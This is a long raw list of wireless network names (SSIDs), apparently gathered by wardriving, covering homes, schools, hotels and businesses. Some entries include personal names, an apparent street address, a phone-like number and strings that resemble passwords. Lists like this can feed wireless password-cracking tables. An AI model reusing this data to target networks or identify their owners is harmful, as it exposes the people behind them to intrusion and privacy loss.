Home_linksys1? Homeairport Homenet Homenet67 Homeport Homestead HonHou Hooters Hoover Classroom Hopkins Home Hopmayer Hot Sauce Blue Cheese HotSpot Hotel HotelAir HotelNet House House Aiport Houston Airport Houstontac Hoyer Hsiao Huddleston Humphrey I.M.R., Ltd. I2E_TELBUS_GROS IBM IBM DINPACS ICC Wireless LAN ICOM IDS-123 IEEE 802.11 LAN IEEE 802.11b LAN IER IFM Home IKLink1240 ILHT ILJEF-EMPLOYMENT IMCSD IME-Global_WLAN IMEDICA INADM01 INETWLAN INFERNO INSOMNIA INTERMEC INTERMEC1 INTL340-1 IO_Lab IRELATIVE IRSI 1 ISC Airport Network ISC Wireless ISC-Gary-Aironet1 ISE AIRPORT ISI ISN AirPort Network ISNE IT Department ITRC ITS ITS Wireless ITXOfficeWireless IU Wireless Ice Station Zebra Idlelaw InanHome Incunable India Indus Home Network InetWorld InformationEngine InfotechSM InkDrop Network Inky Inquirium Insight Graphics Instant Internet Intel Intel Gateway Intelligent Assistance Interdecor InterfitAirport Internet Internet Oasis (FREE) Internet, ehhh? Internet2 InternetArchitecture Islands Ivey Ranch Wireless Ivy Hill Home Owners Association JACK JADFEL JAVNet JBXW JBrockster JGM JGSI Chicago JGSIaplinksys1 JHME Airport JLL-43 JMG JMH JOCLAN JONES JOSH Jack's Airport JackandJeannie Jacksonville Jajaja Jake James James Base JaneLaptop JaniceŐs G4 Jason Jbarrera Jeff's Airstrip Jeff's Cisco AP JeffAndLaura JeffMV2001 Jen's Jerry B's Jim Jin's AirPort Network JinKazama Jingo JoanNet Joaquin Airport Joel's Home Network John McE's Network Join the Other Network Joint Venture 2mb Jollyville+Wireless Jon's Wireless Airport Network Jordan634 JoseWireLess Journalism Lab Julie's Network Jumpgate Wireless JuniperWirelessNetwork Just My Home K KAMCOMPANIES KANAREK KATHY WETMORE WIRELESS KAirport KBM KCARE KC_LV_2003 KDD Dialup KDD Internal Network KEMP KENTLAW KGB Network KHChicago KJA KOMODO KPN KWEB Kai Tak KaiKai YaYa Kandrew Kanga Kanodia's Wireless Network Kaplan_Chi_Link Karen's Airport Kassebaum Kaufman Keiser Kelly Kelly's House KellyNet Ken/MCsHOME Kerri's Airport Network Kevin Kevin Dalby KhazadDum Kiewit Wireless Kilgore Library Kimco Kimming Kimpton Kingsley iBook Cart C KirksSubnet KiteNet Kjgpop Klein Laguna Airport Kleks Kobu Koenig-Wireless Krichman's house KurthLampe Kwlan KyleDSLAirport LANE LANROAMER LAV-C106-Air1 LCM LDH_NW LEWIS LINKSYS LISA LIVE.COM LIVINGS LKQWAP LODGE LOUNGE STATION LSR LUBEZNIK2 LUMBU_WIRELESS LURIE LWE La Jolla Kumon Center La Jolla Visitor Lab Network LagunaB Lake Point Tower Lakeshore Valuation Wireless Lakeview Wireless Network Lakin Lapin Latin Laughlinrj Laurie's School AirPort Lee Leni M Leo1 Leverage Liberate WaveLAN Library Library 1 Library Network LichtensteinLAN Lieber Home Airport Liisa's Base Lincoln network Link-Wireless Link182 Linksys Linksys Access Point Linksys050991 Linksys203 Lisa Becker's G4 LisaNet LiteShow Liza's Network LockOn Loose Loring HouseNet LoserNet Louis Manigault Love Shack LovelandHome Loveshack Lucent Outdoor Router Luffmans Lunch Pod B Lunsfords1 Lynn's Imac Lyon M@ng0 MAIN1 MAIN2 MAR MAZZ MB MBHS Wireless MBinc MCAC MCCRDM MCSWL MCWN80 MDASCORP MDC MDM MEGA.WAP MENACER METRO MFEF MFN MGCS MGVWLAN MH36302 MHSWireless MIDCITY MILESTECHINC MILONE2 MIS MIS_TEST MIT MKK MLIwireless MLVolk MM MMHS MMI MMcGuire WLAN MOSS MOUNCENET MOZART9 MPWNET MRI Base Station MS Airport 1 MS Airport 2 MSFTWLAN MSHOME MSUNet Wireless MSVELVET MTL MU-WIRELESS-LITE MUWIRELESS MVEast MVHH MVOffice MV_EBC MW-1959 MWR_MCX MWess MYPTWIRE MY_WAVELAN_NETWORK_1 MacCapitalNet MacTronics-TMC MagicChef Magilla Main Maison Mangia Onda Manl3y Mansion Grove MaplePort Marconi Margaret Hamer Mark's Computer Marks_Linksys Married Marsh School MasonAir MastermindDigital Matt Matthew GilsonŐs Computer Networ Max Mayberry McCleary McKAP McMeigs McMwireless Meg's Migg Megafast Mongrel!8699 MeierPhelps MelFlr4 Melee Island Merlin Mesa Metro MetroFi-Free Mianet Michael Michelle Mid-Cafe Middle East Pod Middle Music Middle North Pod Middle Office Middle South Pod Miguel Mikes Home Mikulich DSL Miljkovic Mill Miller Miller Home Miller's Crossing Missionary TECH Team Missval Mitutoyo Mobile Lab 1-1 Mobile Lab 1-2 Mobile Lab 2-1 Mobile Lab 2-2 Mobile Lab 3-1 Mobile Lab 3-2 Mobile Lab 4-1 Mobile Lab 4-2 MobileStar Monica01 Morse Motorola Mountain View MountainView Mr. Pippy's Wild World of WiFi Mr. Potatohead MrLunch Mueller MujicaHome My DWI My Home Network My Internet My Network My Wireless Network A My Wireless Network B MyOwn MyPaloAltoHome N-West Pod N9UF_TEL9COM NA-AM-Wireless-10 NAtest NBER NCSA-Wireless NEO NESPOT NETGEAR NETGEAR_11g NETWORK NEUSTAR NEWAGELA NHMCCD NITERFNET NMarconi NO NOMAD NP NP-corp NPT3803 NRMHA400 NSWLAN NT75wl31 NTHS219 NTTNET NWBS-1 NWBS-2 NWS_Linksys NYWDWireless Na02 NaAdBe Nacogdoches_Wireless Nancy's Net Nantucket NavComm Navy Pier Nebula Necronominet NeoConcepts Net1 NetCache_Priv NetCentrex NetWorksCr Netgear1 Netreon--WireLess Network NetworkDan Neurosphere New Market Nexus Ngata Nick Network Nick's Network Nieto's Network Niles*PS NilesPark1 NilesPark3 Nishioka Nitya1 No current ssid NoWireUC Nokia WLAN Nokia WLan NortelSurfer Northwestern Norton Not For You NoviSalesAP Numoto Network NvkNet O'PLAINE-GR5-DIAZ O'Plaine- 3 Grade 3 Cart O'Plaine-Gifted-Monahan O'Plaine-Gr5-Baughman O'Plaine-Gr5-Dohnke O'Plaine-Gr5-Drews O'Plaine-Gr5-Hlavin O'Plaine-Gr5-Jansen O'Plaine-Gr5-Micksch O'Plaine-Gr5-Palinca O1LwELL ODYSSEY-MV OEM OFFICE OG OHARERIVER OMA OMM Wireless OMNI OP EL1Air OP EL2 OP-Gr5-Christensen OP-LRC AirPort OP106Air OP232Air OPEN OPlaineAir OSE OSHS Airport Oak Street Odren Oedipus Oes@001 OffIcE@0631@#Ujmrfv* Office Office Network Ohare OhareTest OksanaVanya Olga Omniglodbalhypermeganet On-Net OnexAP Onozawa AirPort Onyx OpenSubnet Option Family 1North Option Library Option Rm. 24 OrD1i1aDc OrthOnly OurHome OutRugz2001 Ozev P C Guild P3rKa9E P72665-1 P9togslink PA3HOE PAA-Bridge PACIFIC PAFREE.NET PAIX PANASAS PANERA PARK PASSYM PATRICK PATRON PATS802.11BLAN PATYOwireless PA_Sheridan PB1 OHS AirPort PCB AirPort PCX5000 PC_SEVEIRVILLE_TEST PC_WIRELESS_TEST PDQLink Wireless WiPOP 5 PDT PDTLAN PHIL-DC PI PINKY PLATINUM PMO PPCAWireless PQA PRINCETON_NITIN PRN-WLAN PSC PSC Computer Room PSC2 PSE_IWG PTINet PUL-C-ACAD PURRFECTPHOTO PWLAN1 PaSremraF Pal Paola&Marco Patton AirPort 02 ibook cart Patton AirPort 03 ibook cart Paul Paul's Network Pearlan Peer Perlman PerrisHigh#31401 PhamWireless2 Phase01 Phil Philips WiFi Phone Photo Lab Phunmann Physics Physics Wireless 2 Pierce Air Piilaakso PinkyAndTheBrain PinnacleLisleIL PizzaMetroII Pleiades Plus Pochacco Polaris Police Poll PooleMillikan Popeye Porkchop hill Porsche Post_Dunwoody Post_Peachtree_Hills Potenz Home Potomac ave Pow1Jlx9MwcA38kZvfR Poway - Loyd Poway - Renegade Powerbook Preface AirPort Press Box Presto's Airport Preston PrimeCo60143 Print Server Private Production Profile Prototype PshPort PtP-casitas Public Apple Airport Network PuffinHome Pupil Services Putaanuu Net PwC80211 Q-Air QA Lab AP 3 QA Lab AP 4 QA Lab AP 5 QAN QATesting QUADLINK Quadramed Quadratec-SCNet Quaker Queen Latifah QuickenMac Airport R RADIO RAMCELENGCO RAWInternet RAY RBTIRE RCA RCX REP!NET01 RERWNET REWAN01 REXLAN RGATESATL RGS RGXLPQSNGBNYVRAK RHCJNESCKkOi18JJYdlw RISCH RJL Associates RJLC Airport RLAN RLRnet RLYEH RN-Open-AP RNi_casitas ROCHWRX ROSLERHOME ROTH RPGWireless RRRanch RTC RTC1FR01 RW-Air-11mbps RWGAP RWP RXTRME7 RYAN RadiationNet RainForest Rakic WLAN Randy's Base Network RangeLAN RatBastard RebelXNet Regency Reggie Cooper Reputation Retina@IL Rex G4 Rich in Dana Point Richard Right Side Marketing Rigler Home RixUsa Road Runner RoamAbout Default Network Name Robert Robin Robslinksysnetwork Rock Springs Airport RockNet RodMoMone RodnerGoldberg Rome Roo's Network Room 25-6 Rose Rosemont Rosenkranz Ross Traveling iBooks Roswell Roswell Net RoyHome Rude Wireless SANDN SANLJ SAP DEAN SARMAX SAS_WLAN SBPDWL4 SCLT SCRANCH SCUENGR SD-10.102.1 SD001 Client Network SDOI_HQ SDSC SDSWireless SD_Blkmtn SEAMA SENTINEL SEWLAN SFHSWLAN SFM SFMG/Work SFO SHC SHONAC SHONAC1 SHOP SHS-AirLan SILENTWITNESS SITECOM SJB in-home SJUDLP1 SLD SLN SMALLVILLE SMARTSIGHT SMC SMC Network SMP SNAPPLE SNC_AP_01 SNDGDKJF21322 SPARKYSPARKY SPEPA SPIRENTCOM SPORTS SPPNet SQA Highend Airport Base SRA SRAMnet SRSpc45 SSI SST-PR-1 SSt 5 SSt AirPort 7 STAGE II Network STAYOUT STE 3D Lab STE Audio Lab STEALTHCO STERLINGNET STOPS STSN STSN_Conf SURF SUSANIN'S SVFISH SVG SVL_HQ SW SYNC_WLAN SYSCO San Diego SafVisWan Sahakadethianet Salvation Army Salvo Saly Sam Sam Johnson SanDiego SanJuanAvenue SanLan Sandy Net SantaClara Santiyanont Sarah Calhoun Scaife WAP Scarab Net Schlotzsky's Cool Deli Schlotzsky's CoolDeli School 51 Black Rock Schultz Home Scott Scott Grahams Computer Scott's Network Seawest_SCADA Second Floor Segerdahl Seguin Funeral Home Senbayashi SequoiaW Seraphin's airport ShariqHome Sharon's WP-II Slot A Silver Sharon's WP-II Slot B Gold Shawn's Home Network Shea_SD2000 SheratonSuitesHOU Shiela\'s Wireless LAN Shipley ShkolniksNJ ShomerShabat ShopArea ShopNet Shortyville SiriCOMM Skunkworks SkyHighSpeed Skymoon Skynet Skyrunner 258-8562 Slee Corp. Slurry PB Network Smith Smith Room 219 Airport Network Snapple SoL 062e0e Solovy Someone Set Us Up The LAN Sommer Sonnet South War Room Spark Special Ed Spectria Spectrum (DHCP not NAT) Spectrum- BS 1.3.1 PPP SpeedLinks SpeedStream Speedport W 501V Spiderweb SpinalTap Sprynet via Airport Stand Alone Network Stanford Stanley Home Network StargateCP StaticJ Stauber's Network Stelling Blue Network Sterling Airport Steve Groff's Apt Network Steve's Network 1 Stevens-network StorageWorks Stratacom San Jose Strawberry Hill Studio AirPort Network Studio DSL Enteract Studio Network Cable Studio network Studio318 SublimiSys Suck it Sujkol Home SummitM SunnyS1d3 Sunnyvale SunnyvaleWL Super Super8 SuperStars SurfandSip Suzuki SweetHome Sweetwater AirPort Network Switchbox SyPhEnWiRe Synapse Syncata Synopsys T-Mobile_T-Com T2D1W0 T3 wireless TA TASA Wireless 2 TAWNet TAZ374ISI TC-Wireless TCEA TD-AirPort TECH2000 TEKLOGIX TELENETHOTSPOT TELUS TERC Wireless TG Airport 9 THEITPROS THELAN THENetwork TI TI-AR7WRD TJALL TJPOS TLBaker TLL TMDCE0203 TMR Airport TMS TOPAZ TOPCAT TOWERBLD500 TPDhome TR Airport Network TRAIN TRAINING TRDA TRG TRHOME TRIGO TRIMwlan TRIZEC_CHICAGO TSE TSN-FabricaMatriz TSUNAMI TTX-Wireless TVLAND Tachyon Wireless Network TackHomeNetwork Taogen Taras Network Taylor TeCK TeamMetz Tech Team Airport B7.106 Ted Teklogix Telegrity Telenor Mobil WLAN Tellme Network 2f4452 Telstra Tempe Wireless Temple of Doom Temporary Airport TeraComp Terpsichord Terrawave Terri G Terry's G4/450 Test Test Pogo 1 (Vlan) Texas Texascomponents Textair The Condo The Loft The Relay TheCompanyStore TheDupontHospital TheMatrix TheRoost TheSteinLawFirm Theisman This is my Network! Thomas P. Valenti Thomson Thorndale_Crazies Thuis TiVo Wireless Tigc50Vs54 Tigger1 Tires Titash WaveLAN Network Tk6wMzDw8ABnQ Tom Home Tom's Airport TomPaulJen Tonawanda Tony Levin Band Tour Wireless Topcom TorreyHillsWireless Towers Productions, Inc. Toyland Airport Network Trainer TrainingRmA TranFamily Trial Kit AirPort TrilogyWireless TrompHome Troy's Airport Base Station Tru Blu Truckstop.neT TrumanAIR Network Trust Tsuhako Tuaca Turknet Turner Turner Base Station UBC UC01 UCS001 UCS002 UCS003 UCSD UCSD T1 UCo UDIWlan UDwireless UFO UHC-01 UIUCnet UPSTAIRS US Equities USACOSW16122003 USC Airport Network USGWARNET USR5450 USR5461 USR5462 USR8022 USR8054 USR9106 USRLSPO01 UVPS0099 Unit 131 University Housing Wireless University of Washington UniversityPolice Unlo WiFi Untitled UofM Wireless Utopia UtterChaos V1500 V1Ll@Par3$p@7TaNs VAIDY VBI_Park_AirLAN VELOCITY VERBALTEK VERITAS VF VIENNA VIVA.LA.MP3 VOLPAR VOW VOW_SMC VPN2 VSI_Wireless VWR Vanilla Vash_0_the_0_Stampede Venture eCommerce Verity-WaveLan Verizon Wi-Fi Vertigo Viking AirPort Network 6A Viking AirPort Network 7A Viking AirPort Network 8A Viking AirPort-Gifted Viking Airport Network 6B Viking New Cart 1 Viking New Cart 2 Village Village_AP Village_Yagi Viscid VisualMedia Vo-WLAN Vodoo Voice VoltmerWireless Voyager W1n6cA5t W1r3l3$$@xS WAACOW_AP WAG0Nwhee1 WAL WANO WAP WAP_NewportBeach_01 WATAMI WAZASU WAZTempe WBG_Network WCC WEBsHome WG180211b WHP CORE LOFT WINDENT WIRELESS WIRELESSAF WLAN WLAN-508 WLAN-AP WLAN-PS WLAN01 WLAN1 WLANB WLANCRLD WLANDFA WLANESI WLAN_SWW WLCM WMC@#FireNet WNR2004 WORK WORKGROUP WPSWLanAPDemo WRC_Network WRWDEMO WRWLAN WSOLUTIONS WSR-5000 WV AirPort 1 WV AirPort 2 WVW 802.11b WWHQ WY-M-HS Wahib Walsh Wardzala Warehouse Warning WavLAN Network WaveLAN WaveLAN 800 WaveLAN Network WaveLAN network WaveLan Wavelan Network Wayport_Access WebPAD Webstar Webster Webster Wireless Wedoff Chambers WellsCS Wesley West Wetherhold WhangHome Whittier Whvma Wi-Lan WiFi Will's Network Williams Wilson Network Wingate Wink WireLess Wireless Wireless Access Point Wireless Network Wireless access Wireless-Finance Wireless-HuckNet Wireless1 WirelessKK WirelessLAN WirelessNet WirelessPeople WirelessXMM Wireless_AD Wizard WolfDen Wolverine WaveLan Woodlawn Conference Room Woodlawn1 Work Network Workgroup WrigleyIT X-Micro Ximian Xircom Xircom Wireless Xmen Xpr3ss YELLOWJEEP Y_AND_B Yellow Yellow Brick Road YellowBrickRoad Yo Mama ZGnetwork ZUN airport network Zembu WaveLAN Zoom ZyCom ZyXEL ^G ^Y a2c1b4ec a2i3r aaaaaa aagah abZone abayindi abbottais abellradionet abington abmeyer_home abstjohn abyamaha accbackds1016 access acer acnc-10x adam1 addison adeehome adhoc admin adminoffice adp301 adusaTECH advancedware ae46sr5dt65aesve45s5r6 aeromotive wireless ag_lan_a agilemobilehostile aglob2001 agouron-id ahonsela aimcorp aimee air la jolla air vanessa air127 air4gnf airMaulhardt airbornesniper airimba airlan416 airnet airnick aironet airpath airport airport home airport network airport-net airport.zuna.com airportthru airwolf ajm akamafia alamosapcs01 albert alex alexmsu-wlan alison allen8 allfabeng allstatessan allston433 alpaca alpha alphaomega alteer altranet01 amadaus ameritech amihot.com amini ams amsscinventory amsscshopfloor amtrakssid01 andante anderson andy angrytuna.net anna5 anna7 annapurna annihauth annkoo any any ssid ap ap1 apZonE apjelke1587 appdev apple network 0373d2 appleAP apt101.net aptech apuwir aqsscics aquaeap archbridge arcierobase arescom ariba ariba-wlan aries armijolink arpe arrakis arriba arwain.net ascii ascott asdtevppp asinet assmaster net asu aswan asxqa atac atari atari2 athing attwifi aura auto auvo avajacko avalon-bay avcom avexus avinet avwlan aw68l808 axium az12 b0j0 b3rg1n b89d62 b95-ljmc bR5492001 bSSID ba2 babaroga bacchae ball+sack bangpath bangstate barricade baseunit bash5 batzman bauersc.fu bay1 bay10 bay11 bay12 bay2 bay3 bay4 bay5 bay6 bay7 bay8 bay9 bbsm3 bbsm_ap1 bbsu-dev-air350-1 bcwin bdc123 beach bearacuda bearcat beci1 beefsatay belaski1966 belfast belgacom belkind_home_network belmnet belongie benq bentley238 besler bestbuy beta bh_fjpetro bhicxtwap biad big.jim.was.here bigmac1 bill binky birthday biztech bk76026 bkr4356 bkr4357 blab-alpha black black star black^snow blackhole blackjack blanetech blantyre bldgI-wireless-net blind blossom blshuford blueport bnwireless bo boatisp bob bobbyo66 bobwart bolt bone booger borabora boti2 bottawlan bpdtc wireless bpeckham br500test brad braeside brain brains bralston brarnoldaccess brassociates bravara brett brew_net bridge bridge0 bridgespan briteport broadway brodiethebigbaddog17935ne65thst brookhaven brown brrock brs411brs bryanhome bsharps2 bswireless bt_srapee buch buchanan buena_park buffalo buffalogrove_214 burke ap burn3tt butter4 buzanis bvs bzwireless c42dmga5bcys cab001 cab002 cab003 caitg calbath_rules caleel calvert campget1 campus campus10 canjiSP carsonsb casa casa de gage casajohns cascade caspi castleton catownap cavalier caydemo cb cb112 cbwireless ccc-sd1 cccwlan01 cci ccicorp3 ccsoffice ce0396 cebu ceimis celica cemdemo centergate cfa cfvdw07-37461 cfvdw07-38824 cg cgey55ase ch mellano ch noc champion chaneynet channel_128 charlie charliex charthouse chelga chewie chicago chicago-lan chicago123 chil chkpng chlhome choff choi+home+network choubao chrisathome chrisgary christiairport christopher walker churchs chutti.net ciatlanta2 cisco cisco1 cisco340 cisco_paz1 ciscokbr citech ckcourt1 ckcourt2 ckcourt3 clahey clark clcnet clear clicktest closed cloverrout cnfpass cnwylan cock code coenet coffee collabnet1 collier colltd2340 colubris comfort comfortinn commA6 commercial art compaqworks compusa267 computer comtrend concourse condo conexant confertel connecteriors coo1888 cool cloud coolness corner coronado corp corp2 corp2a corp3 corp3a corp4 corp4a corp5 corp5a corpdemos cosmo cosmo1 cosmos_wireless coss cougars countryside courascant covsdmm coyer cpc3 cpusd createdig cricket crossvue crown crutchfield cryptonite cs-wireless csi csjitde cskphx09 ct-scan ctclc ctcnet ctrec cuairnet cvsretail cw6net3 cx265575-a cybernetic cyberpixie cyclone d d00wrub d0llartree1nc d21_east d21_east1 d21_west d3852u6ane dan's airport danapoint2001 daniel dankology danna darkstar darkwood dat datavalet daveg daveport david davidmusleman davis daw/ise dayton dbikesvette1 dbr-caa-mcm-pjr dcaach dd-wrt ddegil ddfx deakinade deano decawav decker deepspace deerfield default default-ssid defcon delbarco70 deloitte demelo demo demolab demotsunami dental desplains dev devil devry dgf13 dgs769157 dhw di-sfo1 digdyn digitalblaze digitalpath.net digitalslurry digiwap dimberionet dine dionr diunei diwep01 djmis djs123 djscottcom dk dkr7000 dlink_wireless dmna_airport dnalounge dnawlan dnet dnm dnr&hpd&tt&link dogger dondonaantiques dooley doomsday dorado downstairs.paloalto.yolke.net dprealestate dps dpuregwireless dr1379fed draconet dragonslayer drester drmx@mac.com dsc dsl dspence dtimm_b_140 dtn dtn1 dtwebc dubeyrk duke dukewlan durisek dynamic_technology e478 eFS Network 100 eSiteful 01 ea54 eadtuinfed eak8Nov earthkam earthlink easyfeed eau.ntc echo1 ecrmwireless edshmidt1 eduroam eeeeee effective efting eginos ehitexwlan ehove.net2000 eisele ekl20mwl elder elevated elkt elocal54 elvis elwood eman-test eman-test2 emilionet emmarae empowertel engis enogport enpix enron2000 entmptm entropy eopchicago epi epland epsss epvc equinix-hq eramp eric erica ericbase esl2012 espagio ethan2 etwireless eurospot evergreen-alley eworks eworld exemplar exobox experiencelab f01902ITVDairNET f02005AirPort Network f02005 f2ba72 fEdMEdpoP fa1779zvpo facefive.net fairways fanTM faswire4 fatport faulkner1 fc2781aB7329A2719e642fac96ecCe1f fclogix ferris fhc fidonet fields fig6 filesharing fineberg fish fiveninessoftware fivenorth fjholden flacknet fld1_wireless fld2_wireless fld3_wireless fletch flloc float flopper7 flowers fluffy flyboy flyingj foo foobar foodmaker fordfattoria formentera forsythe fortress_of_solitude fp1100 frank frankendesign frankshouse fred freedom freedomlink freenet freephonie frmanet frogwireless frontline froster fsbaguser ftimis ftwayne-aironet22 ftxs_peregrine fuckyou fulham fullmoon fultoncourt funknet fwncsecure g3n3r1cw8p g42 game gandalf garcea garrick gearedgfx_W gearman gebbie 2 geckonet gehr geo-palo-alto george getwifi gggnt01 ggorali ghs giachino-net1 gigabyte gigaman gigamedia gila gittleman gizmo11 glenntwo globmkt glusberg gmhome goesh goldcoast gonZaga25 goober goozer gordon gose gouda gr2 graceland grant greatcakes green4 greg greg_testbed greyspire gric_hq grove gruzenet gshtest gsl-san gsmcair gsxnew gtran1 guestwifi guiness gundygateway gunsUPTTech guys_linksys gw gw4 gw5 gw9 gym-1 hacknet hadesnation hal001 hamburg hannifin happy harbinger hardinhome hardware harley harry's network harrywelton harthotels hatch hawk hawkeyes hawking hawkwap heckifiknow helium henny henry henrylan hepco herdman heschelwest hhonors hicks.net hidden ssid hillstreet hilton hirosushi hjanjimh hlf hncmb holeva_wireless holiday holidayinn home home airport home base home network home sd home wireless home-dlink home1 homeNet home\wireless homebase homelan homelink homenet homer homeradio homesweethome homework honeypot honwireless hooks hoover horrell home network hortonnet host house houston houstonbridge houstonwireless.org houwireless howlaironet hp hpsetup hq@air hs145 hsia hsieh htc2slug4master hume hw-wav hwtvm hyatt hyattsj28 hyman2 i2tech i3groupap iBook Kart 2 - APBS001 iBook Kart 3 - APBS005 iPayables iPlanet iToons Airport Network iWeb iandt_test_802.11_net ibahn ibeameng ibook Network ibotaWNet icopolymers icsics identity3 idsus ieee802 if ifgbridges ihs-446f ilanack imac impac indigo inland inside inspara instructional intelwlan interactix internal ionamerica ipaq ipi irisgenetics irv_comm iscape isisgroup ismsismie iswlan italics iwnei%$b2b j0r3a3u1s0s0 j3ll0m0ld jaawireless jack.mac jack123 jackhammer jackson jackson.footlik jah719 jake jamnet jane janenet jarruza jazzyc@t jbsrouter jcowhey jeep jef1 jef3 jef4 jeff jeffreywilliams jefftel jennifer jfielding jhoward jibkoon jimbo6 jimnvan jinnet jitterbug jkhome jmaccess jmsped joe john johnnyfever johnson joliNet joltage jrp2net jtd jthome judi julia junct1766 junction juno2002 jwardell.myftp.org jxrnet jzhz98 kabuch_com kadel kaisicher kalik/miller kamikazi kapartet kapdear kaplan-wireless karell kathyhodges kbs kcainc kcwireless.net keith kell1 kell10 kell2 kell4 kell7 kellen kem_land kenny kentpflederer kenwap kevinandkarin kevinkallmeyer kha kiiwireless kim kim's airport base station kimo kirkshome kitchen kite knet0010 knobse kodero kodyhome kongchum kosava kottke kozar krosan kubvanet kvat lab12 lab204 lacosa nostra laidley lajolla-nsh lakeside laleortwineugenie lambert lamesa.jeconley.com land2 lanna-wireless lantzsys laptop laptop_net laquinta laroc1 laroc2 larry lasalle lasc latitude lauer launchsoft lc leesek legalaccessplans leigh letmein lfntwk lhommesc libertyville07 life science network light9 lilac17 lime Network linda lindbergh lindows link linksys linksys-60025 linksys-g linksys-home linksys-limoges linksys01 linksys1 linksys1100 linksys123 linksys2 linksys207 linksys22 linksys99 linksysCEN linksysW linksys_Boston_1 linksys_Retail_Concepts linksys_yazji linksysair linksyswireless linksysx linksysxx linxalien lironco lja ljtech logan lombard_AP1 londonbridge loop1 loop2 loop4 loplato losmac louis louise lounge love2ride lovepark lowrider58 loyolapress lr1302 ls-airport ls-ap3 lsoc ltgwlan lucy ludlowharrison lunchtime luttgen lutzhome lvo ma42na mac-cisco madderfish magis main maison mandell mandm mani-ap8 manoroaks marble marco.net marcsys margolis marie's airport marijke mark marklar marriott martin martymar martynet maruhi masbu massimo mastandassociates mastandrea matrix mattlj99 max maxdog99 maxface maximize mayataylor mayberry mayitomas mcairport mcb_corp mchk96kiat88 mckenna mclaughlin mcmg mcs7822 mcsy mcws mddatacor meadowpark meatball med-ed medapatel mededwireless medialab medill medion medweb meer.net megahoc megahoc.21 megahoc.v22 melburnian melinda mem1 mem2 mem3 mem4 mendoza mercury mesadrive mesfin metzler meyerglass mf_wireless mfn miah more michigan mickey midlawns1 midwestairtech mike mikedgephart mikeswirelessbroadband mikey mincberg mindblur mine minear minhtam mirabella miro mission_oberlin mississippi mito-air2 mizenlink mjmechanical mjp mkb-w ml4 mlepore mlwavsec01 mmatch mmerfeld mmlkh mnc2600 mnpwap01 mobie mobile mobile J-lab mobilehub modulosystems mojo moksha moloki77 molson momnet monkey monkeytrainer montgomery place moo2-north moo3 moonbeam moore-hill moritimer mortal mossrealty moto motorola moynet ms1 msfalinksys msftwlan msvalley mt mtohome mushrooms mute mw my base station my own SSID mycloud myhome mylinksys mylinky mynet mynetwork myste mywireless mywlan nabi1 nabi2 nablus naprw nassif natelynetteandtela neeleynet nei nelinc_radio_domain neoexpress neptune net net2 netEng1 netoptics netpoint network neurealizationdev never to guess newport2k2 newton newyork next4web nglan nhp2fbi nhuquynh2845 niincwls ninesoft nivek no ssid no_ssid no_way_dude nobita nod noenet nokia nokia_paz1 nokiadotnet non-specified SSID !! nordell north1 north2 north3 north4 notredamealumni.com nowire nowireapaccess nowires nsbhp nsc-wlan2000 nse-wireless nseoffice nss nssco nsseo4 nstsohopa1 nstsohosj1 ntcet nthtech ntrost1313 nuwlan nvls01357 o1lwELL oakhillsoftware oandk object oceanair oconnell octo-wap11 odonnell odyssey office office airport officeAirport ogi-network ojhdotcom olives olsonville om40wireless omalley onenet onepoint onsite onwireless oohwow orange orange12 orange13 orange14 osfaacp1 osterman osuwireless ourwap outside overlord oxymoron.net p0wdr!mtn p110tman packard1999 packetloss palladio palmerfey palmtree panewell papergn parasite parkview paslode passport patrick paw4cwt paxionNet paxtonnet pazen 2343 pbgcadec pcfxLess pcucorp pd-3114-rcpd pdt wlan pdwireless pdwireless-nowep penguin711806 pennant pennstate pepperdine pepperweed peregrine3a5 pericoronitis perrisrwrf peter peter home peterandmatthew petersen petunia pgi philips phish pi07490509x pi07490509x09 pi07490509x09sa pi07490509xsa pifwnet pilot pinehill pinky123 pinter pissoff pixellis pk pkonnektia pkwireless plata plinque33y pluis.local-wireless-network pocwyg7swean pol-muni polexis polo-home poop poremba porpoiseboylinksys porsche portellus_wireless postxwl poswireless poulin powellk power ppdi prainey predators prilan primeskynet priorityit private privateprov prn-wlan produce projectnet prothro provprivbri proxim proxim5 prs prucal02 pshafae-network pt.reyes ptorok ptp-rockford public pureology_wireless pvdorm pvt-wireless.paloalto.yolke.net pw office airport pwcweekly qa_80211b qa_server quanta quilogyomaha quim3145 rack1 rack2 rack4 rack5 rack9 racks rad061952 radio121 radtkelan railyard rainbow rajfavelc ralfoide ramada raman ramiwifi randyf ranganathans_linksys_wap rational-sd rattlesnake ravage rbhouston rciochon1 reachingthemark redwood_ceezar regardingkitchens rehab$wirtz reilavac reinitz remote reslab restoremustangs restricted.utexas.edu reyes2005 reynolds rf.net rfd rhevs_home_net ricknet rim ringedistry rios ritchie river1 river2 river3 river4 rjkaitlin rkirti_t35t rlgroup rlw123 rmsbusnetcom robert_rules rocko room 14-1 unidirectional room 14-6 omnidirectional room 207-6 roomlinx rosemont rotarywave roth routeOR router rover rpa rr7102740w3 rsd rtlan runningback runtex airport runtexW rwj6407 ryan hunter ryanr47 sabrenet saca084 saeed safety saigon sailormoon sally1 sally3 sally4 sally5 sally6 sally7 salsa samc-poc san diego sandiego sanmina sanuk sap sarah savaje sboca sbsdes sc10n scandic_easy sccg scharbers schmidt schwartz schwarznet scionnet scooby scotts home scuba scvlrf sdccuiz4u sdcr8929 sdelan sdps sdy air sdy work vpn sean.mukerjee sean7326 sears2 sears3 second_radio_net sections securit sedonatechwireless1 seeker seema seilerkarasick selusa-secundis service service1 sesnet sfa sfa1 shadowworld shafs-lan shaolin shean shellybmw shey shiny shodey's network shuo si_col_stage1 siddiqi siebertfamily sierra siginf signNet sigwireless silab silvan sip siteserver sixmilnet sk0uts3c skcc skyriver sl0cum sliders sluggo sm1thv1ll3 smartrooms smc smc1 smh smile-AirPort smith smith2 smith6 smmgn smsd-wlan-01 smtvg sneakernet sneme1S snopp snuggler socket softtech soho1 soholaunchaccess sohopubaccess solid123 solomio sonicbox sonicwall sonoma sooners southport space spectre210 spectrumssid speed spf-network sprintpcsrf spudnet spwireless squeak12 ssa_home ssdardar ssid sst stack stage starwars stayonline stern steve steveg stevehome stingray stinky stokes stonewireless stooges straman stratmat stride stuart studio studiored stumble_THIS! sugarbear suitespeed sukhoi summit-sheffield sumo sunhome surfhere sustaining roamer svdp sw-wireless swb4496 sweetdude sweetpotato sweety swift swisscom swkay8 szook takeme2thepilot tarantella tasc taxdata taylor taylorBWMS taz374isi tbnda tci airport tdc teamatics teamwerks techadv techcenter techintegrity techsoftw telecheck telstra-jj-cisco temecula termite224 terran terrybrooks test test1 test13b test_net testnet th3f1rm the turtle theKarims the_estate thecodefoundry thefirf theforce thelair thescaper thinkoutside thomas tibi tidals89 tigernet tim tina tishler titan titanium 